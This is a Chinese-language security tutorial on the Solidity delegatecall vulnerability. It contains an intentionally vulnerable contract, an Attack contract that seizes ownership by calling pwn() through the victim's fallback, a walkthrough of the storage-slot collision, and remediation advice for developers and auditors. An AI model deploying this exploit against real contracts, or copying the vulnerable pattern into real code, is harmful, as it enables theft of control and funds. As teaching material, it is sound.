15.delegatecall漏洞_3
2023-06-23 20:22:31 # 00.security

delegatecall漏洞_3

漏洞示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract Lib {
address public owner;

function pwn() public {
owner = msg.sender;
}
}

contract HackMe {
address public owner;
Lib public lib;

constructor(Lib _lib) {
owner = msg.sender;
lib = Lib(_lib);
}

fallback() external payable {
address(lib).delegatecall(msg.data);
}
}

漏洞分析

我们可以看到有两个合约,Lib 合约中只有一个 pwn 函数用来修改合约的 owner,在 HackMe 合约中存在 fallback 函数,fallback 函数的内容是使用 delegatecall 去调用 Lib 合约中的函数。我们需要利用 HackMe.fallback() 触发 delegatecall 函数去调用 Lib.pwn() 将 HackMe 合约中的 owner 改成自己。

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract Attack {
address public hackMe;

constructor(address _hackMe) {
hackMe = _hackMe;
}

function attack() public {
hackMe.call(abi.encodeWithSignature("pwn()"));
}
}

我们来请出我们的老朋友受害者 Alice 和攻击者 Eve 这两个角色来分析下攻击流程:

  1. Alice 部署 Lib 合约;
  2. Alice 部署 HackMe 合约并在构造函数中传入 Lib 合约的地址;
  3. 攻击者 Eve 部署 Attack 合约并在构造函数中传入 hackMe 地址;
  4. 攻击者 Eve 调用 attack 函数成功将 HackMe 合约中的 owner 改成自己。

我们先来回顾一下 fallback 函数何时会被触发调用?

  • 向某合约直接转账时(会触发某合约中的 fallack 函数)
  • 向某合约调用无法匹配到函数名的函数时(会触发某合约中的 fallack 函数)

现在我们来看看到底发生了什么?

attack 函数首先去调用 HackMe.pwn() ,发现 HackMe 合约中并没有 pwn 函数,此时触发 HackMe.fallback() ,HackMe.fallback() 又使用 deldegatecall 调用 Lib 合约中的函数,函数名取得是 msg.data 也就是 “pwn()”,而 Lib 合约中恰好有名为 pwn 的函数,该函数的作用是将合约中的 owner 修改为 msg.sender。在前置知识中我们了解到 delegatecall 函数的执行环境是调用者的环境,并且对于 storage 变量的修改是根据被调用的合约的插槽位置来修改的。

简而言之在 HackMe 执行 delegatecall 调用 Lib.pwn() 后,相当于将 Lib.pwn() 直接拿到 HackMe 合约中执行了。pwn 函数修改了 Lib 合约中存储位置为 slot0 的变量 owner,这样 HackMe 通过 delegatecall 调用 pwn 函数后也会修改 HackMe 合约中存储位置为 slot0 的变量恰好也是 owner 变量,这样 HackMe 合约中的 owner 就成功的被攻击者 Eve 修改成自己了。

修复建议

作为开发者

  • 在使用 delegatecall 时应注意被调用合约的地址不能是可控的;
  • 在较为复杂的合约环境下需要注意变量的声明顺序以及存储位置。因为使用 delegatecall 进行外部调时会根据被调用合约的数据结构来用修改本合约相应 slot 中存储的数据,在数据结构发生变化时这可能会造成非预期的变量覆盖。

作为审计者

  • 在审计过程中遇到合约中有使用 delegatecall 时需要注意被调用的合约地址是否可控;
  • 当被调用合约中的函数存在修改 storage 变量的情况时需要注意变量存储插槽的位置,避免由于数据结构不一致而导致本合约中存储的 storage 变量被错误的覆盖。

引用:慢雾科技

Prev
2023-06-23 20:22:31 # 00.security
Next